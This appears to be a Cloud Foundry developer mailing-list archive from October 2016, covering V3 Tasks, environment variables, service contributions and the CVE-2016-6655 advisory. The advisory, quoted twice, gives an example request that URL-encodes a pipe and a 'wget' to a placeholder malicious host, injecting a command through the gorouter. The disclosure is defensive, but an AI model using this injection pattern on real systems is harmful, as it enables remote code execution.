Date   

Re: Any news on Tasks in CF Diego?

Koper, Dies <diesk@...>
 

Hi Andreas,

If you’re interested in the CLI UX, refer to the stories in the following epic:
https://www.pivotaltracker.com/epic/show/3028607

In this iteration, there is no CLI command to retrieve the logs of certain task – mainly because in the log stream we have no identifier unique to a single task.

Regards,
Dies Koper
Cloud Foundry Product Manager - CLI


From: Nicholas Calugar [mailto:ncalugar(a)pivotal.io]
Sent: Saturday, October 22, 2016 12:12 PM
To: Andreas Mueller; Discussions about Cloud Foundry projects and the system overall.
Subject: [cf-dev] Re: Re: Re: Any news on Tasks in CF Diego?

Hi Andreas,

My apologies, I didn’t intend to imply that app logs were the only channel for the task starter to consume the task results. The V3 Task resource will contain the result in the form of state of SUCCEEDED or FAILED. What I meant by, "state is left up to the developer”, is the task code should offload anything that needs persisted from the task run. For example, the task could stream data to a service, write to a database, write a file to a blobstore, etc. The platform is just responsible for running the task and logs shouldn’t be relied upon for state or results.

The log source for tasks are “APP/TASK/<task_name>”. You’ll see something like “APP/TASK/0E858E94/0” in the log stream. Please note, the 0 is the instance id which will always be 0 as there is never more than 1 task.

The sequence id was added for the CLI UX and is never sent to the backend. This allows the CLI to uniquely identify a task within an app without exposing the GUID or the non-unique Task name.

I think this will all become a lot more clear when we complete the CLI UX, we are hoping to finish that work in the coming weeks.


Thanks,

Nick

--
Nicholas Calugar
Product Manager - Cloud Foundry API
Pivotal Software, Inc.


On October 21, 2016 at 12:55:55 AM, Andreas Mueller (andr.mueller(a)sap.com<mailto:andr.mueller(a)sap.com>) wrote:
Hi Nicholas,

thanks a lot for the quick and helpful response, which is in line with the latetest "release candidate" version of the V3 REST API docu.

So, the app log is the only channel for the task starter to consume the task results and multiple tasks with the same name can be started in parallel on a single app droplet.

Based on these facts I'd assume that the log lines belonging to the task can be easily identified in the app's log, by means of the task name and newly introduced sequenceId.

Could you please elaborate a bit more on the detailed format (source tagging) of log lines produced by an task belonging to an app?

I've found a hint in [1] (at that time there was no sequenceId, yet), but there does not seem to be some official documentation yet, about how exactly log lines produced by an app's task can be identified and grouped together.

Thanks and kind regards,
Andreas

[1] https://www.pivotaltracker.com/n/projects/966314/stories/111472198


Re: Any news on Tasks in CF Diego?

Nicholas Calugar
 

Hi Andreas,

My apologies, I didn’t intend to imply that app logs were the only channel
for the task starter to consume the task results. The V3 Task resource will
contain the result in the form of state of SUCCEEDED or FAILED. What I
meant by, "state is left up to the developer”, is the task code should
offload anything that needs persisted from the task run. For example, the
task could stream data to a service, write to a database, write a file to a
blobstore, etc. The platform is just responsible for running the task and
logs shouldn’t be relied upon for state or results.

The log source for tasks are “APP/TASK/<task_name>”. You’ll see something
like “APP/TASK/0E858E94/0” in the log stream. Please note, the 0 is the
instance id which will always be 0 as there is never more than 1 task.

The sequence id was added for the CLI UX and is never sent to the backend.
This allows the CLI to uniquely identify a task within an app without
exposing the GUID or the non-unique Task name.

I think this will all become a lot more clear when we complete the CLI UX,
we are hoping to finish that work in the coming weeks.


Thanks,

Nick

--
Nicholas Calugar
Product Manager - Cloud Foundry API
Pivotal Software, Inc.

On October 21, 2016 at 12:55:55 AM, Andreas Mueller (andr.mueller(a)sap.com)
wrote:

Hi Nicholas,

thanks a lot for the quick and helpful response, which is in line with the
latetest "release candidate" version of the V3 REST API docu.

So, the app log is the only channel for the task starter to consume the
task results and multiple tasks with the same name can be started in
parallel on a single app droplet.

Based on these facts I'd assume that the log lines belonging to the task
can be easily identified in the app's log, by means of the task name and
newly introduced sequenceId.

Could you please elaborate a bit more on the detailed format (source
tagging) of log lines produced by an task belonging to an app?

I've found a hint in [1] (at that time there was no sequenceId, yet), but
there does not seem to be some official documentation yet, about how
exactly log lines produced by an app's task can be identified and grouped
together.

Thanks and kind regards,
Andreas

[1] https://www.pivotaltracker.com/n/projects/966314/stories/111472198


Re: [security] CVE 2016-6655: Utility script command injection

Molly Crowther
 

Hello Hector,

The answer is that it varies. I can tell you that we have followed the
steps we need to do to get it into the database, it just takes time
depending on how fast MITRE makes the updates. It is not an automatic
process. Let me know if you have any other questions.

Thanks,
Molly Crowther
CFF Security Team

On Fri, Oct 21, 2016 at 2:46 AM, Hector Rivas Gandara <
hector.rivas.gandara(a)digital.cabinet-office.gov.uk> wrote:

Hello,

Thank you for reporting this.

I observed that the CVE in mitre.org did not get updated:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6655

How long does it take to get it updated?



On 17 October 2016 at 20:34, Molly Crowther <mcrowther(a)cloudfoundry.org>
wrote:

Hello all - many people were asking for more information, so we have
prepared the following statement regarding CVE-2016-6655:


Thanks,

Molly Crowther

CFF Security Team


------


This issue was discovered by the IBM BlueMix team and was responsibly
reported to the Cloud Foundry Foundation.

A common script shared by many Cloud Foundry components includes some
code responsible for prepending timestamps to component logs. This code is
vulnerable to command injection in any component that logs user-provided
data. Critically it is possible for an attacker to craft a request to
gorouter that can execute arbitrary code as the VCAP user on the gorouter
VM. Gorouter logs should be examined for examples of shell-escape sequences
if operators suspect that their system may have been compromised. An
example woud be to url-encode a pipe (“|”) character followed by a
malicious command as in: https://gorouter.your-cf.com/%7Cwget%20
http://something.malicious). Note that this is only one of a number of
ways which an attacker could invoke an arbitrary command via this
vulnerability.

Fixes were made to every CF component where this utility script is run.
Some components include this script but do not run it. Future updates will
remove the final unused instances of the vulnerable code to prevent
unintentional reintroduction.

Operators are strongly encouraged to upgrade to CF 245 or later and use
the most recent version of any standalone CF components.

For the original public notice regarding CVE-2016-6655, please see:
https://lists.cloudfoundry.org/archives/list/cf-dev(a)lists.
cloudfoundry.org/message/42YUJU2N27HBPFVMZR2QM7JI6YSEKORR/

On Mon, Oct 17, 2016 at 8:34 AM, Travis McPeak <tmcpeak(a)cloudfoundry.org>
wrote:

CVE 2016-6655: Utility script command injectionSeverity

Critical
Vendor

Cloud Foundry Foundation
Versions Affected

-

Cloud Foundry release versions prior to v245
-

cf-mysql-release versions prior to v31

Description

A command injection vulnerability was discovered in a common script used
by many Cloud Foundry components. A malicious user may exploit numerous
vectors to execute arbitrary commands on servers running Cloud Foundry.
Mitigation

OSS users are strongly encouraged to follow one of the mitigations
below:

-

Upgrade to Cloud Foundry v245 [1] or later


-

Upgrade to cf-mysql-release v31 [2] or later

Credit

This issue was discovered by IBM BlueMix.
References

-

[1] https://github.com/cloudfoundry/cf-release/releases/tag/v245
-

[2] https://github.com/cloudfoundry/cf-mysql-release/releases/tag/v31


--
Regards
Hector Rivas | GDS / Multi-Cloud PaaS


Re: [security] CVE 2016-6655: Utility script command injection

Hector Rivas Gandara
 

Hello,

Thank you for reporting this.

I observed that the CVE in mitre.org did not get updated:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6655

How long does it take to get it updated?



On 17 October 2016 at 20:34, Molly Crowther <mcrowther(a)cloudfoundry.org>
wrote:

Hello all - many people were asking for more information, so we have
prepared the following statement regarding CVE-2016-6655:


Thanks,

Molly Crowther

CFF Security Team


------


This issue was discovered by the IBM BlueMix team and was responsibly
reported to the Cloud Foundry Foundation.

A common script shared by many Cloud Foundry components includes some code
responsible for prepending timestamps to component logs. This code is
vulnerable to command injection in any component that logs user-provided
data. Critically it is possible for an attacker to craft a request to
gorouter that can execute arbitrary code as the VCAP user on the gorouter
VM. Gorouter logs should be examined for examples of shell-escape sequences
if operators suspect that their system may have been compromised. An
example woud be to url-encode a pipe (“|”) character followed by a
malicious command as in: https://gorouter.your-cf.com/%7Cwget%20
http://something.malicious). Note that this is only one of a number of
ways which an attacker could invoke an arbitrary command via this
vulnerability.

Fixes were made to every CF component where this utility script is run.
Some components include this script but do not run it. Future updates will
remove the final unused instances of the vulnerable code to prevent
unintentional reintroduction.

Operators are strongly encouraged to upgrade to CF 245 or later and use
the most recent version of any standalone CF components.

For the original public notice regarding CVE-2016-6655, please see:
https://lists.cloudfoundry.org/archives/list/cf-dev@
lists.cloudfoundry.org/message/42YUJU2N27HBPFVMZR2QM7JI6YSEKORR/

On Mon, Oct 17, 2016 at 8:34 AM, Travis McPeak <tmcpeak(a)cloudfoundry.org>
wrote:

CVE 2016-6655: Utility script command injectionSeverity

Critical
Vendor

Cloud Foundry Foundation
Versions Affected

-

Cloud Foundry release versions prior to v245
-

cf-mysql-release versions prior to v31

Description

A command injection vulnerability was discovered in a common script used
by many Cloud Foundry components. A malicious user may exploit numerous
vectors to execute arbitrary commands on servers running Cloud Foundry.
Mitigation

OSS users are strongly encouraged to follow one of the mitigations below:

-

Upgrade to Cloud Foundry v245 [1] or later


-

Upgrade to cf-mysql-release v31 [2] or later

Credit

This issue was discovered by IBM BlueMix.
References

-

[1] https://github.com/cloudfoundry/cf-release/releases/tag/v245
-

[2] https://github.com/cloudfoundry/cf-mysql-release/releases/tag/v31


--
Regards
Hector Rivas | GDS / Multi-Cloud PaaS


Re: Any news on Tasks in CF Diego?

Andreas Mueller
 

Hi Nicholas,

thanks a lot for the quick and helpful response, which is in line with the latetest "release candidate" version of the V3 REST API docu.

So, the app log is the only channel for the task starter to consume the task results and multiple tasks with the same name can be started in parallel on a single app droplet.

Based on these facts I'd assume that the log lines belonging to the task can be easily identified in the app's log, by means of the task name and newly introduced sequenceId.

Could you please elaborate a bit more on the detailed format (source tagging) of log lines produced by an task belonging to an app?

I've found a hint in [1] (at that time there was no sequenceId, yet), but there does not seem to be some official documentation yet, about how exactly log lines produced by an app's task can be identified and grouped together.

Thanks and kind regards,
Andreas

[1] https://www.pivotaltracker.com/n/projects/966314/stories/111472198


Re: Any news on Tasks in CF Diego?

Nicholas Calugar
 

Hi Andreas,

This is a lot, but I’ll try my best to help. I encourage you to stop by our
[1] Slack channel anytime for a quick chat.

1. The V3 Task resource should eventually end up in either
SUCCEEDED or FAILED
state. If the state is FAILED, the result.failure_reason will have a human
readable message, e.g. "Exited with status 1”. Task logs will appear in
the log stream of the app. Otherwise, state is left up to the developer.
2. I think this is the same question and answer as #1. If not, maybe
let’s chat in Slack and update this thread.
3. I think you are asking about the “V3 CLI Plugin”. This was only
intended to help developers validate the API, and is definitely not
full-featured. We are working with the CLI team to properly expose a
coherent Tasks UX.
4. The Task Completion Callback URL is an internal Diego Tasks feature
and is not exposed to the enduser.

As for when the Tasks feature will be ready to use, we are working very
closely with the CLI team to expose an MVP of Tasks. Aside from a few minor
changes, the API in CF-245 appears to be supporting this effort.


Thanks,

Nick


[1] https://cloudfoundry.slack.com/messages/capi/

--
Nicholas Calugar
Product Manager - Cloud Foundry API
Pivotal Software, Inc.

On October 20, 2016 at 4:45:46 AM, Andreas Mueller (andr.mueller(a)sap.com)
wrote:

Hi all,

we at SAP are very interested in the new task feature, because we currently
run some dummy/fake apps, in order to simulate task-like behavior, which
includes some cumbersome app log parsing. The promises of the tasks are
exactly what we are looking for, since the starter of the task would just
like to see the result of the task action in some convenient and easy to
consume way.

Unfortunately we currently know of a number of older and newer resources
(URLs) with information on the task topic, which do not give much
information on the details of the result handling and seem to even be
slightly contradicting in some low level details.

As a starting point, it would be good to know the most recent official
documentation on the tasks (for the task implementor and consumer).

To shortly summarize, our most important questions from task implementation
and consumption perspective are:

1) How does the task implementation provide its result - either through
process exit code and stderr/out or via tracing (+ optional/internal result
file)? Is there some definite contract or at least best-practice for the
task implementation side?

2) How does the infrastructure collect the task result and especially how
is it exposed to the consumer? In the V3 API docu there’s just a result
JSON object, with only one “failure_reason” property. We’d also expect the
process exit code and maybe stdout/err to be part of the result JSON. Or in
case the (optional) ResultFile and callback URL are the way to go, there
should be some env var exposed to the task implementation, so that one
knows to which file the result data shall be written.

3) It seems like the result from the V3 REST API is not exposed via the V3
tasks client command (at least in its current state)?

4) Is the “Task Completion Callback URL” mechanism that is mentioned in
several sources only intended for internal use by client implementations,
or also for external consumers?

It would also be interesting, when the tasks will be ready to use.

In the talk on V3 given on European CF Summit (in Sept. in Frankfurt) the
following statement on tasks was given ([1] – slides 46/47):
“When? Very soon (~ next few weeks)”

I’ll add some more detailed observations about the potential result handing
as a second post.

Thanks a lot and kind regards,
Andreas Mueller – SAP SE

[1]
http://schd.ws/hosted_files/cfsummiteu2016/2a/Unleasing%20the%20Power%20of%20the%20V3%20API_Frankfurt.pdf


Re: CF environmental variables - org is missing

Jason Sherron
 

Hi Vinod,

I was referring to filtering packets by application at the network layer,
nothing to do with the format of application logs or other human-readable
text. Sorry for the confusion.

Jason

On Wed, Oct 19, 2016 at 6:49 PM Vinod Singh <vinoddandy(a)gmail.com> wrote:

Hi Jaison,

If CF team can include app_name+space+org in Loggregator logs, that would
solve many of our use cases. The current application id is created at
runtime and external systems finding difficult to segregate message based
on application id.

Do we have any blog item to include app_name in loggregator messages ?

Regards,
Vinod

On Tue, Oct 18, 2016 at 8:03 AM, Peter Dotchev <dotchev(a)gmail.com> wrote:

Hi Jason,

For example, when connecting to the database we set the client application
name on the connection.
If the db becomes heavily loaded, the db admin can check the expensive
statements view and see which applications generate them.
Also for end to end tracing when a transaction goes through multiple
components, we have to record each involved component name.
So we need an application name that is human readable and unique.

Best regards,
Petar


On Tue, Oct 18, 2016 at 12:39 AM, Jason Sherron <jsherron(a)pivotal.io>
wrote:

Hi Peter,

Can you detail your supportability needs for external services? I'm
wondering if this is something that could be filtered at the network level
and if that might help. We're building ways to identify and filter network
traffic sources by application. It wouldn't include arbitrary text like
org/space, but would be mapped to an application via an identifier and
perhaps IP address.

Jason - Container Networking


On Mon, Oct 17, 2016 at 1:26 PM Peter Dotchev <dotchev(a)gmail.com> wrote:

Hi,

We have the same issue.
For supportability reasons we need the app to identify itself when
connecting to external services.
application_id is not suitable in this case as the operator/admin cannot
easily decipher it.
It would be best to identify the app using org_name + space_name +
app_name.
All of these are present in VCAP_APPLICATION except org_name.
Is it omitted intentionally? If not, can it be added?

Best regards,
Peter


On Thu, Oct 13, 2016 at 6:19 PM, Vinod Singh <vinoddandy(a)gmail.com> wrote:

Friends,

I am working to retrieve org/space/application-name in CF via System
provided environmental variables.
Unfortunately I could not "org" in list. Is it not a good idea to include
"org" also in System Provided list ?

cf env <appname>

System-Provided:


{
"VCAP_APPLICATION": {
"application_id": "74b3e1a6-ba9f-4dcb-9ae3-e68e1dbfa417",
"application_name": "mylogapp",
"application_uris": [
"xxxx.xxxx.xxx"
],
"application_version": "e43c2d12-cd8e-46d3-9298-ce0905651c0e",
"limits": {
"disk": 1024,
"fds": 16384,
"mem": 128
},
"name": "mylogapp",
"space_id": "4d942c57-e41e-43e2-ba3a-0665ceaa976b",
"space_name": "demo2",
"uris": [
"xxxxx.xxxxx.xxxxx"
],
"users": null,
"version": "e43c2d12-cd8e-46d3-9298-ce0905651c0e"
}
}


Regards,
Vinod





Re: Contribute mongodb 3.X bosh release

Shannon Coen
 

Hello Lyn,

Thank you for offering to donate your MongoDB 3.x bosh release! I would be
the person to talk to about contributing your service to the Cloud Foundry
Foundation.

I have a question, does your release use the v2 broker API? The
services-contrib-release were originally based on the v1 broker API and
README suggests they still are. Earlier this year Cloud Foundry dropped
support for the v1 broker API.

TL;DR

The cf-service-contrib-release repo started as the original five cloud
foundry services developed by VMWare. They used the v1 broker API. In 2012
when the v2 broker API was released the original services were donated to
the cloudfoundry-community github org. Since then they have been maintained
by Ruben Koster, among others, and the number of services grew. Earlier
this year Cloud Foundry dropped support for the v1 broker API. Assuming the
README for this repo is still accurate and they still depend on the v1
broker API, these services are no longer compatible with latest versions of
Cloud Foundry. Hopefully, your service has been updated to use the v2
broker API.

I'll contact you out of band about next steps.

Best,
Shannon




Shannon Coen
Product Manager, Cloud Foundry
Pivotal, Inc.

On Wed, Oct 19, 2016 at 7:05 PM, Lynn Lin <Lynn.Lin(a)emc.com> wrote:

All,
Previously we from DELL-EMC use MongoDB service 2.X from
this project under cloudfoundry community https://github.com/
cloudfoundry-community/cf-services-contrib-release . Months ago we want
to use mongoDB 3.X which improves performance a lot however we don’t find
the available mongoDB 3.X under cloudfoundy github so our team developed
MongoDB 3.X bosh release and provide additional cluster support compared to
https://github.com/cloudfoundry-community/cf-services-contrib-release .
This version is deployed to production site and running for quite a while ,
it looks stable . Who should we contact to start conversation to see how
we can contribute back for this bosh mongoDB 3.X release if it is worth



Thanks
Lynn Lin


Re: Any news on Tasks in CF Diego?

Andreas Mueller
 

Here are the details, mentioned before:

[1]

- This document describes the very low level technical/internal details of the CF task lifecycle, i.e. it does not necessarily match with the V3 API for consumption (e.g. the internal task states are PENDING -> CLAIMED -> RUNNING -> COMPLETED -> RESOLVING, while the states in V3 are PENDING, RUNNING, SUCCEEDED, CANCELING, and FAILED).

- The document is quite interesting, but it not intended as end-user documentation, as it deals with the intrinsic mechanisms, which guarantee the at “most once” execution guarantee of tasks (via BBs, etcd's atomic and consistent CompareAndSwap, claiming and resolving).

- An interesting detail is the fact, that the internal v1 task description still has some (redundant) “failed” Boolean and a “result” field next to the “failure_reason”. “The result is the output of the last FetchResult action.” – whatever this means.

-Also interesting: “If the Task is PENDING: And the Task was created more than 30 minutes ago (this is configurable via –timeToClaimTask in executor): then the task is marked as failed.” -> later documents have more/different information about this aspect


[2]

- This document seems to be some very internal discussion state.

- I found the following non-goals interesting:
a) Specifying a path to a (small) file to store and return result of the task
b) Specifying a custom callback web url to be notified when the task is completed

- And:
a) Only X number of tasks are kept on an app before rolling off older, completed tasks.
b) Stdout/stderr from the task will be available on the apps firehose logs.


[3]

- Very nice and understandable but still internal (BBS) overview document on tasks.

- “When the Task completes, the Cell sets the Failed, FailureReason, and Result fields on the Task as appropriate, and sets the Task's state to COMPLETED.” – “Result field” obviously refers to the internal JSON description of a task. How does that correlate to the (external) Result JSON object in the V3 API?

- “At this point it is up to the Diego client to detect and resolve the completed Task. It can do this either by having set a completion callback URL on the Task when defined, or by polling for the Task and resolving and deleting it itself.” – So the callback URL is only intended for client impls? Seems so, since otherwise there would need to be an array of URLs, if the actual task creator/starter could also provide such an callback URL, in addition. [4] seems to confirm this assumption.

- “If ResultFile was specified and the Task has completed successfully, Result will include the first 10KB of the ResultFile.” – How does this result file relate to the log file of the app/task and how can the task impl write to such an result file? Also, such a result file cannot be specified, when creating a task via V3 API.

- “Diego will automatically delete completed Tasks that remain unresolved after 2 minutes.” – How does that fit to the “Only X number of tasks are kept on an app before rolling off older, completed tasks.” mentioned in some other/previous document?


[5] and [6]

- Seem to be the most recent and official external documentation
- Unclear, how the client/task starter is supposed to retrieve the task result, other than the “failure_message”


[1] https://github.com/cloudfoundry/diego-release/wiki/Diego-Task-Lifecycle (2014/04)
[2] https://docs.google.com/document/d/1CCHDUa2UWRjXkxEdksX4M9BGQ8hBqiMys46wxeF5XE4/edit# (2016/04)
[3] https://github.com/cloudfoundry/bbs/blob/master/doc/tasks.md (2016/06)
[4] https://github.com/cloudfoundry/bbs/blob/master/doc/defining-tasks.md
[5] http://v3-apidocs.cloudfoundry.org/version/release-candidate/#the-task-object
[6] https://github.com/cloudfoundry/v3-cli-plugin/tree/master/commands


Any news on Tasks in CF Diego?

Andreas Mueller
 

Hi all,

we at SAP are very interested in the new task feature, because we currently run some dummy/fake apps, in order to simulate task-like behavior, which includes some cumbersome app log parsing. The promises of the tasks are exactly what we are looking for, since the starter of the task would just like to see the result of the task action in some convenient and easy to consume way.

Unfortunately we currently know of a number of older and newer resources (URLs) with information on the task topic, which do not give much information on the details of the result handling and seem to even be slightly contradicting in some low level details.

As a starting point, it would be good to know the most recent official documentation on the tasks (for the task implementor and consumer).

To shortly summarize, our most important questions from task implementation and consumption perspective are:

1) How does the task implementation provide its result - either through process exit code and stderr/out or via tracing (+ optional/internal result file)? Is there some definite contract or at least best-practice for the task implementation side?

2) How does the infrastructure collect the task result and especially how is it exposed to the consumer? In the V3 API docu there’s just a result JSON object, with only one “failure_reason” property. We’d also expect the process exit code and maybe stdout/err to be part of the result JSON. Or in case the (optional) ResultFile and callback URL are the way to go, there should be some env var exposed to the task implementation, so that one knows to which file the result data shall be written.

3) It seems like the result from the V3 REST API is not exposed via the V3 tasks client command (at least in its current state)?

4) Is the “Task Completion Callback URL” mechanism that is mentioned in several sources only intended for internal use by client implementations, or also for external consumers?

It would also be interesting, when the tasks will be ready to use.

In the talk on V3 given on European CF Summit (in Sept. in Frankfurt) the following statement on tasks was given ([1] – slides 46/47):
“When? Very soon (~ next few weeks)”

I’ll add some more detailed observations about the potential result handing as a second post.

Thanks a lot and kind regards,
Andreas Mueller – SAP SE

[1] http://schd.ws/hosted_files/cfsummiteu2016/2a/Unleasing%20the%20Power%20of%20the%20V3%20API_Frankfurt.pdf


Failed to push app to Diego windows cell

Meng, Xiangyi <Xiangyi.Meng@...>
 

Hi, all

I wanted to build up a windows cell for my Diego env(CF 237 + Diego 0.1472). I pushed https://github.com/cloudfoundry-incubator/NET-sample-app for a test, but failed at staging phase.

I checked auctioneer log and seems the task has been added to windows cell.

{"timestamp":"1476928530.877959251","source":"auctioneer","message":"auctioneer.auction.task-added-to-cell","log_level":1,"data":{"cell-guid":"WIN-8SD7KKQPJEE","session":"75341","task-guid":"ff42893c-6482-464b-8bb9-e5cddcfb4dcd-8d6d55561ae846b1b9f80cce77bf6be9"}}

But somehow windows cell could not get task.

{"timestamp":"1476967109.798601389","source":"rep","message":"rep.executing-container-operation.task-processor.failed-fetching-task","log_level":2,"data":{"container-guid":"763aaf66-cfd3-4f21-8dc4-d49650c7bce9-4f7684bd02b54757bc45d0b627bc1409","container-state":"reserved","error":"Invalid Response with status code: 404","session":"369.1"}}

I also get quite a lot of 404 error when sync.

{"timestamp":"1476967231.735509396","source":"rep","message":"rep.running-bulker.sync.failed-to-generate-operations","log_level":2,"data":{"error":"failed to retrieve tasks: Invalid Response with status code: 404","session":"11.305"}}

Could someone shed a light on how to debug this issue? Which part I should look further? Any help will be appreciated.

Regards,
Maggie


cloudfoundry file descriptor limit is too small

peter huang
 

Hi, All,
My cloudfoundry version is 225, when i run some java spring-boot program in the cf, sometime it will throw the "too many files open" exception, i know it is about the file limit.
So i login to the runner, and use `ulimit -n` to see, they are 1024, but i found in the warden .\cf-release-225\jobs\dea_next\templates\dea_ctl.erb
it call `ulimit -n 4096`, looks like it doesn't work.
and in .\cf-release-225\packages\dea_next\dea_next\vendor\cache\warden-181b550918c8\warden\spec\container\linux_spec.rb
Line 1418: response = client.run(:handle => handle, :script => "ulimit -n", :rlimits => rlimits)
no sure it will overwrite the exist one(i don't know ruby)
my question is, does they some way to expand the size of limit ? or we need to upgrade the cloudfoundry?
Thanks,
Peter


Runtime PMC - Persi Project Lead

Dieu Cao <dcao@...>
 

Hello all,

Ted Young, the Project Lead for the Persi team within the Runtime PMC, last
day at Pivotal was this past week. We wish him all the best in his future
endeavors and thank him for his time with us.

Dell would like to nominate Julian Hjortshoj for the Project Lead for the
Persi team.

Julian joined the Diego Persistence team as a software developer in April.
During his 25-odd year career making software he has served in various
technical leadership roles (manager, project lead, architect). Prior to
joining CF, Julian worked for the ECM division of Dell/EMC as the
application/ui architect for a suite of Cloud Foundry deployed content
management applications.

If there are any questions/objections to this appointment, please send that
to me by end of day October 27, 2016.

-Dieu Cao

Runtime PMC Lead


Contribute mongodb 3.X bosh release

Lynn Lin
 

All,
Previously we from DELL-EMC use MongoDB service 2.X from this project under cloudfoundry community https://github.com/cloudfoundry-community/cf-services-contrib-release . Months ago we want to use mongoDB 3.X which improves performance a lot however we don’t find the available mongoDB 3.X under cloudfoundy github so our team developed MongoDB 3.X bosh release and provide additional cluster support compared to https://github.com/cloudfoundry-community/cf-services-contrib-release . This version is deployed to production site and running for quite a while , it looks stable . Who should we contact to start conversation to see how we can contribute back for this bosh mongoDB 3.X release if it is worth



Thanks
Lynn Lin


Re: CF environmental variables - org is missing

Vinod Singh <vinoddandy@...>
 

Hi Jaison,

If CF team can include app_name+space+org in Loggregator logs, that would
solve many of our use cases. The current application id is created at
runtime and external systems finding difficult to segregate message based
on application id.

Do we have any blog item to include app_name in loggregator messages ?

Regards,
Vinod

On Tue, Oct 18, 2016 at 8:03 AM, Peter Dotchev <dotchev(a)gmail.com> wrote:

Hi Jason,

For example, when connecting to the database we set the client application
name on the connection.
If the db becomes heavily loaded, the db admin can check the expensive
statements view and see which applications generate them.
Also for end to end tracing when a transaction goes through multiple
components, we have to record each involved component name.
So we need an application name that is human readable and unique.

Best regards,
Petar


On Tue, Oct 18, 2016 at 12:39 AM, Jason Sherron <jsherron(a)pivotal.io>
wrote:

Hi Peter,

Can you detail your supportability needs for external services? I'm
wondering if this is something that could be filtered at the network level
and if that might help. We're building ways to identify and filter network
traffic sources by application. It wouldn't include arbitrary text like
org/space, but would be mapped to an application via an identifier and
perhaps IP address.

Jason - Container Networking


On Mon, Oct 17, 2016 at 1:26 PM Peter Dotchev <dotchev(a)gmail.com> wrote:

Hi,

We have the same issue.
For supportability reasons we need the app to identify itself when
connecting to external services.
application_id is not suitable in this case as the operator/admin cannot
easily decipher it.
It would be best to identify the app using org_name + space_name +
app_name.
All of these are present in VCAP_APPLICATION except org_name.
Is it omitted intentionally? If not, can it be added?

Best regards,
Peter


On Thu, Oct 13, 2016 at 6:19 PM, Vinod Singh <vinoddandy(a)gmail.com>
wrote:

Friends,

I am working to retrieve org/space/application-name in CF via System
provided environmental variables.
Unfortunately I could not "org" in list. Is it not a good idea to
include "org" also in System Provided list ?

cf env <appname>

System-Provided:


{
"VCAP_APPLICATION": {
"application_id": "74b3e1a6-ba9f-4dcb-9ae3-e68e1dbfa417",
"application_name": "mylogapp",
"application_uris": [
"xxxx.xxxx.xxx"
],
"application_version": "e43c2d12-cd8e-46d3-9298-ce0905651c0e",
"limits": {
"disk": 1024,
"fds": 16384,
"mem": 128
},
"name": "mylogapp",
"space_id": "4d942c57-e41e-43e2-ba3a-0665ceaa976b",
"space_name": "demo2",
"uris": [
"xxxxx.xxxxx.xxxxx"
],
"users": null,
"version": "e43c2d12-cd8e-46d3-9298-ce0905651c0e"
}
}


Regards,
Vinod



cf-release Submodule Path Recursion Error (and fix!)

Chunyi Lyu <clyu@...>
 

We've seen an issue with ./scripts/update in cf-release. If you have a
sufficiently old version of `cf-release`, and then you try to run the
update script, you'll get an error that looks like this:
```
Failed to recurse into submodule path 'src/consul-release'
```
Here are the steps to reproduce:
- `git clone https://github.com/cloudfoundry/cf-release`
- `git checkout 58f89c63b1cd673df34ca98302e4573ed60c1bf3`
- `git submodule update --init --recursive`
- `git checkout develop`
- `./scripts/update`
You should see the error at this point.

If you hit this, we've got three fixes for you.

First and potentially simplest, just run one more git submodule sync
--recursive && ./scripts/update after the failure.

If that doesn't work, you can either delete and re-clone cf-release from
scratch, or go edit your git modules:
Edit `git/modules/src/consul-release/modules/src/confab/vendor/
github.com/hashicorp/serf/config`, so that it's remote url points to `
https://github.com/cloudfoundry-incubator/serf` instead of `
https://github.com/hashicorp/serf`.

Hopefully this won't have inconvenienced too many of you!

Regards-
-Jesse Alford && Chunyi Lyu
CF Release Integration Team


Re: How to run cronjobs with Application

Anuj Jain <anuj17280@...>
 

Thanks Nick I will try it

On 19 Oct 2016 8:21 a.m., "Nicholas Calugar" <ncalugar(a)pivotal.io> wrote:

Hi Anuj,

For scheduling, you might want to look into the Advanced Python Scheduler
[1]. You would push the scheduler as a separate app to Cloud Foundry.

You could also experiment with V3 Tasks that we are close to releasing.
You can think of Tasks as commands to run against your app code that only
take up resources while executing. As of CF-245, you can push an
application and then run a task against it. There’s currently only support
via curl [2], but we are working on supporting this via CLI.


[1] http://apscheduler.readthedocs.io/en/3.0/
[2] http://v3-apidocs.cloudfoundry.org/version/release-candidate/#push-v2-
app-and-run-a-v3-task


Thanks,

Nick

--
Nicholas Calugar

On October 18, 2016 at 8:03:38 AM, Anuj Jain (anuj17280(a)gmail.com) wrote:

Hi,


We have an application (lets say django app) - which we deployed on
Cloud Foundry - now there are few commands which we want to run
periodically (cron jobs) - what is the best way to handle this with Cloud
Foundry.



Thanks

- Anuj


Re: How to run cronjobs with Application

Nicholas Calugar
 

Hi Anuj,

For scheduling, you might want to look into the Advanced Python Scheduler
[1]. You would push the scheduler as a separate app to Cloud Foundry.

You could also experiment with V3 Tasks that we are close to releasing. You
can think of Tasks as commands to run against your app code that only take
up resources while executing. As of CF-245, you can push an application and
then run a task against it. There’s currently only support via curl [2],
but we are working on supporting this via CLI.


[1] http://apscheduler.readthedocs.io/en/3.0/
[2]
http://v3-apidocs.cloudfoundry.org/version/release-candidate/#push-v2-app-and-run-a-v3-task


Thanks,

Nick

--
Nicholas Calugar

On October 18, 2016 at 8:03:38 AM, Anuj Jain (anuj17280(a)gmail.com) wrote:

Hi,


We have an application (lets say django app) - which we deployed on
Cloud Foundry - now there are few commands which we want to run
periodically (cron jobs) - what is the best way to handle this with Cloud
Foundry.



Thanks

- Anuj


Contribute mongodb 3.X bosh release

Lin, Lynn <Lynn.X.Lin@...>
 

All,
Previously we use MongoDB service 2.X from this project under cloudfoundry community https://github.com/cloudfoundry-community/cf-services-contrib-release . Months ago we want to use mongoDB 3.X which improves performance a lot however we don't find the available mongoDB 3.X under cloudfoundy github so peter,huang (cc'ed) developed MongoDB 3.X bosh release and provide additional cluster support compared to https://github.com/cloudfoundry-community/cf-services-contrib-release . This version is deployed to production site and running for quite a while , it looks stable . Who should we contact to start conversation to see how we can contribute back for this bosh mongoDB 3.X release if it is worth



Thanks
Lynn


Re: UAA Standalone Deployment

Sree Tummidi
 

Hi Abhishek,

As part of Pivotal deployments UAA is being used to secure both the
platform and Apps running on the platform.
Our hosted Cloud Foundry deployment (aka Pivotal Web Services) is running
on AWS has two UAA instances handling a load of 20-30 requests per second
per instance. You need to scale the UAA instances depending on your
concurrency requirements.

Thanks,
Sree Tummidi
Staff Product Manager
Identity - Pivotal Cloud Foundry

On Tue, Oct 18, 2016 at 3:21 PM, Siva Balan <mailsiva(a)gmail.com> wrote:

